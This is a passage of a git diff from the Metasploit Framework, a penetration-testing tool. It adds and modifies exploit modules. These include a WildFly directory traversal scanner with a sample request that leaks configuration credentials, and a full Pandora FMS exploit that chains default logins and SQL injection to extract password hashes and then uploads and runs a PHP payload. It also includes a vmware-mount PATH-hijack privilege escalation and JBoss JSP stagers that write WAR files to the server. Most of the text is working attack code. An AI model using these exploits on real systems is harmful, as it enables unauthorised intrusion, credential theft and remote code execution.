"Keep-Alive: 300\r\n" + "Connection: Keep-Alive, TE\r\n" + "Host: #{vhost}\r\n" +
|
||||
"User-Agent: " + datastore['UserAgent'] + "\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" +
|
||||
"X-Vermeer-Content-Type: application/x-www-form-urlencoded" + "\r\n" +
|
||||
"Content-Length: #{method.length}\r\n\r\n" + method + "\r\n\r\n"
|
||||
|
||||
sock.put(req)
|
||||
|
|
|
@ -0,0 +1,107 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WildFly Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability found in the WildFly 8.1.0.Final
|
||||
web server running on port 8080, named JBoss Undertow. The vulnerability only affects to
|
||||
Windows systems.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-7816' ],
|
||||
['URL', 'https://access.redhat.com/security/cve/CVE-2014-7816'],
|
||||
['URL', 'https://www.conviso.com.br/advisories/CONVISO-14-001.txt'],
|
||||
['URL', 'http://www.openwall.com/lists/oss-security/2014/11/27/4']
|
||||
],
|
||||
'Author' => 'Roberto Soares Espreto <robertoespreto[at]gmail.com>',
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Oct 22 2014'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('RELATIVE_FILE_PATH', [true, 'Relative path to the file to read', 'standalone\\configuration\\standalone.xml']),
|
||||
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 1])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
vprint_status("#{peer} - Attempting to download: #{datastore['RELATIVE_FILE_PATH']}")
|
||||
|
||||
traversal = "..\\" * datastore['TRAVERSAL_DEPTH']
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => "/#{traversal}\\#{datastore['RELATIVE_FILE_PATH']}"
|
||||
})
|
||||
|
||||
if res &&
|
||||
res.code == 200 &&
|
||||
res.headers['Server'] &&
|
||||
res.headers['Server'] =~ /WildFly/
|
||||
vprint_line(res.to_s)
|
||||
fname = File.basename(datastore['RELATIVE_FILE_PATH'])
|
||||
|
||||
path = store_loot(
|
||||
'wildfly.http',
|
||||
'application/octet-stream',
|
||||
ip,
|
||||
res.body,
|
||||
fname
|
||||
)
|
||||
print_good("#{peer} - File saved in: #{path}")
|
||||
else
|
||||
vprint_error("#{peer} - Nothing was downloaded")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
GET /..\\standalone\\configuration\\standalone.xml HTTP/1.1
|
||||
User-Agent: curl/7.38.0
|
||||
Host: 127.0.0.1:8080
|
||||
Accept: */*
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Connection: keep-alive
|
||||
Last-Modified: Wed, 22 Oct 2014 14:37:28 GMT
|
||||
X-Powered-By: Undertow/1
|
||||
Server: WildFly/8
|
||||
Content-Type: text/xml
|
||||
Content-Length: 19697
|
||||
Date: Wed, 22 Oct 2014 16:32:08 GMT
|
||||
|
||||
<?xml version='1.0' encoding='UTF-8'?>
|
||||
|
||||
<server xmlns="urn:jboss:domain:2.1">
|
||||
<extensions>
|
||||
<extension module="org.jboss.as.clustering.infinispan"/>
|
||||
...snip...
|
||||
<subsystem xmlns="urn:jboss:domain:datasources:2.0">
|
||||
<datasources>
|
||||
<datasource jndi-name="java:jboss/datasources/ExampleDS" pool-name="ExampleDS" enabled="true" use-java-context="true">
|
||||
<connection-url>jdbc:h2:mem:test;DB_CLOSE_DELAY=-1;DB_CLOSE_ON_EXIT=FALSE</connection-url>
|
||||
<driver>h2</driver>
|
||||
<security>
|
||||
<user-name>sa</user-name>
|
||||
<password>sa</password>
|
||||
</security>
|
||||
</datasource>
|
||||
<drivers>
|
||||
<driver name="h2" module="com.h2database.h2">
|
||||
<xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
|
||||
...snip...
|
||||
=end
|
|
@ -339,7 +339,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def tls_jabber
|
||||
sock.put(jabber_connect_msg(xmpp_domain))
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
if res && res.include?('host-unknown')
|
||||
jabber_host = res.match(/ from='([\w.]*)' /)
|
||||
if jabber_host && jabber_host[1]
|
||||
|
@ -347,7 +347,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
establish_connect
|
||||
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
|
||||
sock.put(jabber_connect_msg(jabber_host[1]))
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
end
|
||||
end
|
||||
if res.nil? || res.include?('stream:error') || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/
|
||||
|
@ -356,14 +356,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
|
||||
sock.put(msg)
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
return nil if res.nil? || !res.include?('<proceed')
|
||||
res
|
||||
end
|
||||
|
||||
def tls_ftp
|
||||
# http://tools.ietf.org/html/rfc4217
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
return nil if res.nil?
|
||||
sock.put("AUTH TLS\r\n")
|
||||
res = get_data
|
||||
|
@ -383,18 +383,25 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# Get data from the socket
|
||||
# this ensures the requested length is read (if available)
|
||||
def get_data(length = -1)
|
||||
|
||||
return sock.get_once(-1, response_timeout) if length == -1
|
||||
|
||||
to_receive = length
|
||||
data = ''
|
||||
while to_receive > 0
|
||||
done = false
|
||||
while done == false
|
||||
begin
|
||||
temp = sock.get_once(to_receive, response_timeout)
|
||||
rescue EOFError
|
||||
break
|
||||
end
|
||||
|
||||
break if temp.nil?
|
||||
|
||||
data << temp
|
||||
if length != -1
|
||||
to_receive -= temp.length
|
||||
done = true if to_receive <= 0
|
||||
end
|
||||
end
|
||||
|
||||
data
|
||||
end
|
||||
|
||||
|
@ -417,8 +424,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
|
||||
server_hello = sock.get_once(-1, response_timeout)
|
||||
server_hello = get_data
|
||||
unless server_hello
|
||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
||||
return nil
|
||||
|
@ -777,19 +783,19 @@ class Metasploit3 < Msf::Auxiliary
|
|||
cert_len_padding = unpacked[0]
|
||||
cert_len = unpacked[1]
|
||||
vprint_debug("\t\tCertificates length: #{cert_len}")
|
||||
vprint_debug("\t\tData length: #{data.length}")
|
||||
# contains multiple certs
|
||||
already_read = 3
|
||||
cert_counter = 0
|
||||
while already_read < cert_len
|
||||
start = already_read
|
||||
cert_counter += 1
|
||||
# get single certificate length
|
||||
single_cert_unpacked = data[start, 3].unpack('Cn')
|
||||
single_cert_unpacked = data[already_read, 3].unpack('Cn')
|
||||
single_cert_len_padding = single_cert_unpacked[0]
|
||||
single_cert_len = single_cert_unpacked[1]
|
||||
vprint_debug("\t\tCertificate ##{cert_counter}:")
|
||||
vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
|
||||
certificate_data = data[(start + 3), single_cert_len]
|
||||
certificate_data = data[(already_read + 3), single_cert_len]
|
||||
cert = OpenSSL::X509::Certificate.new(certificate_data)
|
||||
# First received certificate is the one from the server
|
||||
@cert = cert if @cert.nil?
|
||||
|
|
|
@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptAddress.new('LOCALIP', [false, 'The IP address of the local interface'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK', 'TIMEOUT')
|
||||
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT', 'TIMEOUT')
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS', false])
|
||||
], self.class)
|
||||
|
||||
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK')
|
||||
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptInt.new('PKT_DELAY', [true, "the delay in millisecond between each packet",0]),
|
||||
], self.class)
|
||||
|
||||
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','UDP_SECRET','GATEWAY','NETMASK')
|
||||
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -0,0 +1,317 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Pandora FMS Default Credential / SQLi Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module attempts to exploit multiple issues in order to gain remote
|
||||
code execution under Pandora FMS version <= 5.0 SP2. First, an attempt
|
||||
to authenticate using default credentials is performed. If this method
|
||||
fails, a SQL injection vulnerability is leveraged in order to extract
|
||||
the "Auto Login" password hash. If this value is not set, the module
|
||||
will then extract the administrator account's MD5 password hash.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept
|
||||
'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'],
|
||||
['URL', 'http://blog.pandorafms.org/?p=2041']
|
||||
],
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
['Pandora FMS version <= 5.0 SP2', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 50000,
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'DisclosureDate' => "Feb 1 2014",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
|
||||
OptString.new('USER', [false, 'The username to authenticate with', 'admin']),
|
||||
OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def uri
|
||||
target_uri.path
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
vprint_status("#{peer} - Trying to detect installed version")
|
||||
|
||||
version = nil
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'index.php')
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/
|
||||
if res.body =~ /<div id="ver_num">v(.*?)<\/div>/
|
||||
version = $1
|
||||
else
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
|
||||
unless version.nil?
|
||||
vprint_status("#{peer} - Pandora FMS #{version} found")
|
||||
if Gem::Version.new(version) <= Gem::Version.new('5.0SP2')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
# Attempt to login with credentials (default admin:pandora)
|
||||
def authenticate
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'vars_get' => {
|
||||
'login' => "1",
|
||||
},
|
||||
'vars_post' => {
|
||||
'nick' => datastore['USER'],
|
||||
'pass' => datastore['PASS'],
|
||||
'Login' => 'Login',
|
||||
}
|
||||
})
|
||||
|
||||
return auth_succeeded?(res)
|
||||
end
|
||||
|
||||
# Attempt to login with auto login and SQLi
|
||||
def login_hash
|
||||
clue = rand_text_alpha(8)
|
||||
sql_clue = clue.each_byte.map { |b| b.to_s(16) }.join
|
||||
# select value from tconfig where token = 'loginhash_pwd';
|
||||
sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST"
|
||||
sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "
|
||||
sqli << "LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
|
||||
sqli << "BY x)a) AND 'msf'='msf"
|
||||
|
||||
password = inject_sql(sqli, clue)
|
||||
|
||||
if password && password.length != 0
|
||||
print_status("#{peer} - Extracted auto login password (#{password})")
|
||||
else
|
||||
print_error("#{peer} - No auto login password has been defined!")
|
||||
return false
|
||||
end
|
||||
|
||||
print_status("#{peer} - Attempting to authenticate using (admin:#{password})")
|
||||
# Attempt to login using login hash password
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'vars_get' => {
|
||||
'loginhash' => 'auto',
|
||||
},
|
||||
'vars_post' => {
|
||||
'loginhash_data' => Rex::Text.md5("admin#{password}"),
|
||||
'loginhash_user' => 'admin',
|
||||
}
|
||||
})
|
||||
|
||||
return auth_succeeded?(res)
|
||||
end
|
||||
|
||||
|
||||
def auth_succeeded?(res)
|
||||
if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
|
||||
print_status("#{peer} - Successfully authenticated!")
|
||||
print_status("#{peer} - Attempting to retrieve session cookie")
|
||||
@cookie = res.get_cookies
|
||||
if @cookie.include?('PHPSESSID')
|
||||
print_status("#{peer} - Successfully retrieved session cookie: #{@cookie}")
|
||||
return true
|
||||
else
|
||||
print_error("#{peer} - Error retrieving cookie!")
|
||||
end
|
||||
else
|
||||
print_error("#{peer} - Authentication failed!")
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
def extract
|
||||
# Generate random string and convert to hex
|
||||
clue = rand_text_alpha(8)
|
||||
hex_clue = clue.each_byte.map { |b| b.to_s(16) }.join
|
||||
|
||||
# select password from tusuario where id_user = 0;
|
||||
sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{hex_clue},(SELECT MID((IFNULL"
|
||||
sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)"
|
||||
sqli << ",0x#{hex_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
|
||||
sqli << "x)a) AND 'msf'='msf"
|
||||
|
||||
password = inject_sql(sqli, clue)
|
||||
|
||||
if password && password.length != 0
|
||||
print_good("#{peer} - Extracted admin password hash, unsalted md5 - [ #{password} ]")
|
||||
else
|
||||
print_error("#{peer} - Unable to extract password hash!")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def inject_sql(sql, fence_post)
|
||||
# Extract password hash from database
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'mobile', 'index.php'),
|
||||
'vars_post' => {
|
||||
'action' => 'login',
|
||||
'user' => sql,
|
||||
'password' => 'pass',
|
||||
'input' => 'Login'
|
||||
}
|
||||
})
|
||||
|
||||
result = nil
|
||||
if res && res.code == 200
|
||||
match = res.body.match(/(?<=#{fence_post})(.*)(?=#{fence_post})/)
|
||||
if match
|
||||
result = match[1]
|
||||
else
|
||||
print_error("#{peer} - SQL injection failed")
|
||||
end
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
def upload
|
||||
# Extract hash and hash2 from response
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'cookie' => @cookie,
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'vars_get' => {
|
||||
'sec' => 'gsetup',
|
||||
'sec2' => 'godmode/setup/file_manager'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /(?<=input type="submit" id="submit-go")(.*)(?=<input id="hidden-directory" name="directory" type="hidden")/
|
||||
form = $1
|
||||
|
||||
# Extract hash
|
||||
if form =~ /(?<=name="hash" type="hidden" value=")(.*?)(?=" \/>)/
|
||||
hash = $1
|
||||
else
|
||||
print_error("#{peer} - Could not extract hash from response!")
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
|
||||
end
|
||||
|
||||
# Extract hash2
|
||||
if form =~ /(?<=name="hash2" type="hidden" value=")(.*?)(?=" \/>)/
|
||||
hash2 = $1
|
||||
else
|
||||
print_error("#{peer} - Could not extract hash2 from response!")
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
|
||||
end
|
||||
|
||||
# Extract real_directory
|
||||
if form =~ /(?<=name="real_directory" type="hidden" value=")(.*?)(" \/>)/
|
||||
real_directory = $1
|
||||
else
|
||||
print_error("#{peer} - Could not extract real_directory from response!")
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
|
||||
end
|
||||
else
|
||||
print_error("#{peer} - Could not identify upload form!")
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
|
||||
end
|
||||
|
||||
|
||||
# Upload script
|
||||
@payload_name = "#{rand_text_alpha(8)}.php"
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part("<?php #{payload.encoded} ?>", 'text/plain', nil, %Q^form-data; name="file"; filename="#{@payload_name}"^)
|
||||
post_data.add_part('', nil, nil, 'form-data; name="unmask"')
|
||||
post_data.add_part('Go', nil, nil, 'form-data; name="go"')
|
||||
post_data.add_part(real_directory, nil, nil, 'form-data; name="real_directory"')
|
||||
post_data.add_part('images', nil, nil, 'form-data; name="directory"')
|
||||
post_data.add_part("#{hash}", nil, nil, 'form-data; name="hash"')
|
||||
post_data.add_part("#{hash2}", nil, nil, 'form-data; name="hash2"')
|
||||
post_data.add_part('1', nil, nil, 'form-data; name="upload_file_or_zip"')
|
||||
|
||||
print_status("#{peer} - Attempting to upload payload #{@payload_name}...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'cookie' => @cookie,
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'data' => post_data.to_s,
|
||||
'vars_get' => {
|
||||
'sec' => 'gsetup',
|
||||
'sec2' => 'godmode/setup/file_manager'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.include?("Upload correct")
|
||||
register_file_for_cleanup(@payload_name)
|
||||
print_status("#{peer} - Successfully uploaded payload")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
# First try to authenticate using default or user-supplied credentials
|
||||
print_status("#{peer} - Attempting to authenticate using (#{datastore['USER']}:#{datastore['PASS']})")
|
||||
auth = authenticate
|
||||
|
||||
unless auth
|
||||
print_status("#{peer} - Attempting to extract auto login hash via SQLi")
|
||||
auth = login_hash
|
||||
end
|
||||
|
||||
unless auth
|
||||
print_status("#{peer} - Attempting to extract admin password hash with SQLi")
|
||||
extract
|
||||
fail_with(Failure::NoAccess, "#{peer} - Unable to perform remote code execution!")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Uploading PHP payload...")
|
||||
upload
|
||||
|
||||
print_status("#{peer} - Executing payload...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'images', @payload_name),
|
||||
'cookie' => @cookie
|
||||
}, 1)
|
||||
end
|
||||
end
|
|
@ -53,6 +53,9 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
'DisclosureDate' => "Aug 22 2013"
|
||||
}
|
||||
))
|
||||
register_options([
|
||||
OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -64,17 +67,18 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Vulnerable
|
||||
unless check == CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
|
||||
end
|
||||
|
||||
write_file("lsb_release", generate_payload_exe)
|
||||
|
||||
cmd_exec("chmod +x lsb_release")
|
||||
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
|
||||
lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release')
|
||||
write_file(lsb_path, generate_payload_exe)
|
||||
cmd_exec("chmod +x #{lsb_path}")
|
||||
cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount")
|
||||
# Delete it here instead of using FileDropper because the original
|
||||
# session can clean it up
|
||||
cmd_exec("rm -f lsb_release")
|
||||
cmd_exec("rm -f #{lsb_path}")
|
||||
|
||||
end
|
||||
|
||||
def setuid?(remote_file)
|
||||
|
|
|
@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
mytarget = target
|
||||
|
||||
if target.name =~ /Automatic/
|
||||
mytarget = auto_target
|
||||
mytarget = auto_target(targets)
|
||||
unless mytarget
|
||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||
end
|
||||
|
@ -195,73 +195,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
handler
|
||||
end
|
||||
|
||||
def auto_target
|
||||
if http_verb == 'HEAD' then
|
||||
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
||||
else
|
||||
print_status("Attempting to automatically select a target...")
|
||||
res = query_serverinfo
|
||||
if not (plat = detect_platform(res))
|
||||
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
||||
end
|
||||
|
||||
if not (arch = detect_architecture(res))
|
||||
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
||||
end
|
||||
|
||||
# see if we have a match
|
||||
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
||||
end
|
||||
|
||||
# no matching target found, use Java as fallback
|
||||
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
||||
return java_targets[0]
|
||||
end
|
||||
|
||||
def query_serverinfo
|
||||
path = normalize_uri(target_uri.path.to_s, '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => path,
|
||||
'method' => http_verb
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("Failed: Error requesting #{path}")
|
||||
return nil
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Try to autodetect the target platform
|
||||
def detect_platform(res)
|
||||
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
|
||||
os = $1
|
||||
if (os =~ /Linux/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /FreeBSD/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /Windows/i)
|
||||
return 'win'
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Try to autodetect the target architecture
|
||||
def detect_architecture(res)
|
||||
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
|
||||
arch = $1
|
||||
if (arch =~ /(x86|i386|i686)/i)
|
||||
return ARCH_X86
|
||||
elsif (arch =~ /(x86_64|amd64)/i)
|
||||
return ARCH_X86
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,10 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
@ -12,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::JBoss
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -78,12 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
||||
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
||||
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
|
||||
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
|
||||
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
|
||||
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -91,23 +84,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
||||
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
||||
stager_base = rand_text_alpha(8+rand(8))
|
||||
head_stager_jsp = rand_text_alpha(8+rand(8))
|
||||
stager_jsp = rand_text_alpha(8+rand(8))
|
||||
content_var = rand_text_alpha(8+rand(8))
|
||||
decoded_var = rand_text_alpha(8+rand(8))
|
||||
file_path_var = rand_text_alpha(8+rand(8))
|
||||
jboss_home_var = rand_text_alpha(8+rand(8))
|
||||
fos_var = rand_text_alpha(8+rand(8))
|
||||
bw_var = rand_text_alpha(8+rand(8))
|
||||
stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||
|
||||
p = payload
|
||||
mytarget = target
|
||||
|
||||
if (datastore['VERB'] == 'HEAD')
|
||||
if (http_verb == 'HEAD')
|
||||
print_status("Unable to automatically select a target with HEAD requests")
|
||||
else
|
||||
if (target.name =~ /Automatic/)
|
||||
mytarget = auto_target()
|
||||
mytarget = auto_target(targets)
|
||||
if (not mytarget)
|
||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||
end
|
||||
|
@ -134,101 +120,46 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}).to_s
|
||||
|
||||
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
||||
|
||||
# The following jsp script will write the stager to the
|
||||
# deploy/management directory. It is only used with HEAD/GET requests
|
||||
# to overcome the size limit in those requests
|
||||
head_stager_jsp_code = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*"
|
||||
%>
|
||||
|
||||
<%
|
||||
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
|
||||
|
||||
|
||||
if (request.getParameter("#{content_var}") != null) {
|
||||
|
||||
try {
|
||||
String #{content_var} = "";
|
||||
#{content_var} = request.getParameter("#{content_var}");
|
||||
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
||||
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
||||
#{bw_var}.write(#{content_var});
|
||||
#{bw_var}.close();
|
||||
}
|
||||
catch(Exception e)
|
||||
{
|
||||
}
|
||||
}
|
||||
%>
|
||||
|
||||
EOT
|
||||
|
||||
# The following jsp script will write the exploded WAR file to the deploy/
|
||||
# directory or try to delete it
|
||||
stager_jsp_code = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*,
|
||||
sun.misc.BASE64Decoder"
|
||||
%>
|
||||
|
||||
<%
|
||||
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
|
||||
|
||||
|
||||
try {
|
||||
String #{content_var} = "#{encoded_payload}";
|
||||
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
||||
